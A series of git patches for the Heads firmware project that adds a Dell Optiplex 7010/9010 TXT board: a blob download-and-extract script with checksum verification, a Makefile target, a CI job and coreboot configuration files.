+CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y + +# +# I/O mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From 9196509ba6c677a8138b4526adc402188696d07e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 11:48:22 -0400 Subject: [PATCH 245/619] flake.nix: add binwalk and uefi-firmware-parser to extract OEM firmware images to blobs needed by scripts Requirements reproducing https://docs.dasharo.com/variants/dell_optiplex/initial-deployment/#firmware-preparation Signed-off-by: Thierry Laurion --- flake.nix | 2 ++ 1 file changed, 2 insertions(+) diff --git a/flake.nix b/flake.nix index 415124654..24941931b 100644 --- a/flake.nix +++ b/flake.nix @@ -87,6 +87,8 @@ ruby sudo # ( °-° ) upx + binwalk # Extract all components of a binary + uefi-firmware-parser #Parse and extract further hidden UEFI blobs from binaries ]; in { # The development shell includes all the dependencies. From 2c0fc658c2070f04129c9eadce40914e6c5844f9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 12:14:16 -0400 Subject: [PATCH 246/619] blobs/xx30/optiplex_7010_9010.sh: add script to download/extract ACM,SINIT and EC for Optiplex 7010/9010 Signed-off-by: Thierry Laurion --- blobs/xx30/optiplex_7010_9010.sh | 60 ++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100755 blobs/xx30/optiplex_7010_9010.sh diff --git a/blobs/xx30/optiplex_7010_9010.sh b/blobs/xx30/optiplex_7010_9010.sh new file mode 100755 index 000000000..dd15db910 --- /dev/null +++ b/blobs/xx30/optiplex_7010_9010.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env bash +EC_BLOB_HASH=20060eba91367b71a21c7757271ac642fa0376809f8c1b51066510246ac97bdb +ACM_BLOB_HASH=b00d10f6615cf1b28f4fb4adac6631bf6e332db524e45dfafb92e539767d22a0 +SINIT_BLOB_HASH=1e888aebc78d637d119c489adffa95387b53429125dc3ad61f10a5cad0496834 + +output_dir="$(realpath "${1:-./}")" + +if [[ ! -f "${output_dir}/IVB_BIOSAC_PRODUCTION.bin" ]] || [[ ! -f "${output_dir}/sch5545_ecfw.bin" ]] || [[ ! -f "${output_dir}/SNB_IVB_SINIT_20190708_PW.bin" ]] ; then + # Unpack Dell's Windows installer into a temporary directory and + # extract the EC and ACM blobs + + pushd "$(mktemp -d)" || exit + + #Download Dell firmware update package + wget https://web.archive.org/web/20241007124946/https://dl.dell.com/FOLDER05066036M/1/O7010A29.exe + + #Extract binary + binwalk -e O7010A29.exe -C . --run-as=root + + #Extract blobs + #uefi-firmware-parser -e "_O7010A29.exe.extracted/65C10" -O + uefi-firmware-parser -b "_O7010A29.exe.extracted/65C10" -e -o extract + + #EC + cp ./extract/volume-327768/file-d386beb8-4b54-4e69-94f5-06091f67e0d3/section0.raw sch5545_ecfw.bin + + mv sch5545_ecfw.bin "${output_dir}/" + + #ACM + cp ./extract/volume-5242968/file-2d27c618-7dcd-41f5-bb10-21166be7e143/object-0.raw IVB_BIOSAC_PRODUCTION.bin + mv IVB_BIOSAC_PRODUCTION.bin "${output_dir}/" + + #Download sinit + wget https://cdrdv2.intel.com/v1/dl/getContent/630744 -O sinit.zip + unzip sinit.zip + mv 630744_003/SNB_IVB_SINIT_20190708_PW.bin "${output_dir}/" + + popd || exit +fi + +if ! echo "${EC_BLOB_HASH} ${output_dir}/sch5545_ecfw.bin" | sha256sum --check; then + echo "ERROR: SHA256 checksum for sch5545_ecfw.bin doesn't match. Try again" + rm -f "${output_dir}/sch5545_ecfw.bin" + exit 1 +fi + + +if ! echo "${ACM_BLOB_HASH} ${output_dir}/IVB_BIOSAC_PRODUCTION.bin" | sha256sum --check; then + echo "ERROR: SHA256 checksum for IVB_BIOSAC_PRODUCTION.bin doesn't match. Try again" + rm -f "${output_dir}/IVB_BIOSAC_PRODUCTION.bin" + exit 1 +fi + + +if ! echo "${SINIT_BLOB_HASH} ${output_dir}/SNB_IVB_SINIT_20190708_PW.bin" | sha256sum --check; then + echo "ERROR: SHA256 checksum for SNB_IVB_SINIT_20190708_PW.bin doesn't match. Try again" + rm -f "${output_dir}/SNB_IVB_SINIT_20190708_PW.bin" + exit 1 +fi + From eb2feeb73849fb66fb05e77d069034115fc70a02 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 12:15:33 -0400 Subject: [PATCH 247/619] targets/optiplex_acm_blobs.mk: add Optiplex 7010/9010 Makefile inclusion target to automatically download+extract ACM/SINIT/EC blobs into place Signed-off-by: Thierry Laurion --- targets/optiplex_acm_blobs.mk | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 targets/optiplex_acm_blobs.mk diff --git a/targets/optiplex_acm_blobs.mk b/targets/optiplex_acm_blobs.mk new file mode 100644 index 000000000..1ea4f5add --- /dev/null +++ b/targets/optiplex_acm_blobs.mk @@ -0,0 +1,9 @@ +# Targets for downloading optiplex 7010/9010 ACM blobs + +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/xx30/IVB_BIOSAC_PRODUCTION.bin + + +$(pwd)/blobs/xx30/IVB_BIOSAC_PRODUCTION.bin: + $(pwd)/blobs/xx30/optiplex_7010_9010.sh $(pwd)/blobs/xx30 From 23cee75efd77a62f956bb0408722d08155dadb8b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 12:22:45 -0400 Subject: [PATCH 248/619] boards/optiplex-7010_9010_TXT-maximized: add new TXT board, poitn coreboot to blobs, add to CI Signed-off-by: Thierry Laurion --- .circleci/config.yml | 7 + .../optiplex-7010_9010_TXT-maximized.config | 81 ++ ...reboot-optiplex-7019_9010-maximized.config | 2 +- ...ot-optiplex-7019_9010_TXT-maximized.config | 701 ++++++++++++++++++ 4 files changed, 790 insertions(+), 1 deletion(-) create mode 100644 boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config create mode 100644 config/coreboot-optiplex-7019_9010_TXT-maximized.config diff --git a/.circleci/config.yml b/.circleci/config.yml index bfd3b4621..9982931db 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -356,6 +356,13 @@ workflows: requires: - x230-hotp-maximized + - build: + name: optiplex-7010_9010_TXT-maximized + target: optiplex-7010_9010_TXT-maximized + subcommand: "" + requires: + - x230-hotp-maximized + - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config new file mode 100644 index 000000000..228fee023 --- /dev/null +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -0,0 +1,81 @@ +# Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) +# +# Includes +# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Forged 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx30/extract.sh) +# - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set +# +# - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config +CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + +#Additional hardware support +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + + +#Remote attestation support +#TPM based requirements +export CONFIG_TPM=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +#Additional tools: +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOOT_DEV="/dev/sda1" +export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 TXT maximized" +export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" + +#Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP +BOARD_TARGETS := xx30_me_blobs + +#Include bits related to Optiplex ACM blobs for TXT +BOARD_TARGETS += optiplex_acm_blobs + +# Generate split 4MB top / 8MB bottom ROMs +BOARD_TARGETS += split_8mb4mb diff --git a/config/coreboot-optiplex-7019_9010-maximized.config b/config/coreboot-optiplex-7019_9010-maximized.config index 6aaf48118..24d7d11c0 100644 --- a/config/coreboot-optiplex-7019_9010-maximized.config +++ b/config/coreboot-optiplex-7019_9010-maximized.config @@ -144,7 +144,7 @@ CONFIG_BOARD_DELL_OPTIPLEX_9010=y # CONFIG_BOARD_DELL_PRECISION_T1650 is not set CONFIG_BOARD_DELL_SNB_IVB_WORKSTATIONS=y CONFIG_INCLUDE_SMSC_SCH5545_EC_FW=y -CONFIG_SMSC_SCH5545_EC_FW_FILE="" +CONFIG_SMSC_SCH5545_EC_FW_FILE="@BLOB_DIR@/xx30/sch5545_ecfw.bin" CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" diff --git a/config/coreboot-optiplex-7019_9010_TXT-maximized.config b/config/coreboot-optiplex-7019_9010_TXT-maximized.config new file mode 100644 index 000000000..2dc49426a --- /dev/null +++ b/config/coreboot-optiplex-7019_9010_TXT-maximized.config @@ -0,0 +1,701 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +CONFIG_TIMESTAMPS_ON_CONSOLE=y +# CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +CONFIG_VENDOR_DELL=y +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_PART_NUMBER="OptiPlex 9010" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="dell/snb_ivb_workstations" +CONFIG_VGA_BIOS_ID="8086,0106" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Dell Inc." +CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_CONSOLE_SERIAL=y +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_POST_DEVICE=y +CONFIG_POST_IO=y +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="optiplex_9010_sff" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Dell Inc." +CONFIG_DRAM_RESET_GATE_GPIO=60 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +# CONFIG_BOARD_DELL_E6400 is not set +CONFIG_BOARD_DELL_OPTIPLEX_9010=y +# CONFIG_BOARD_DELL_PRECISION_T1650 is not set +CONFIG_BOARD_DELL_SNB_IVB_WORKSTATIONS=y +CONFIG_INCLUDE_SMSC_SCH5545_EC_FW=y +CONFIG_SMSC_SCH5545_EC_FW_FILE="@BLOB_DIR@/xx30/sch5545_ecfw.bin" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" +CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" +CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="OptiPlex 9010" +CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_TTYS0_BAUD=115200 +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 +CONFIG_EHCI_BAR=0xfef00000 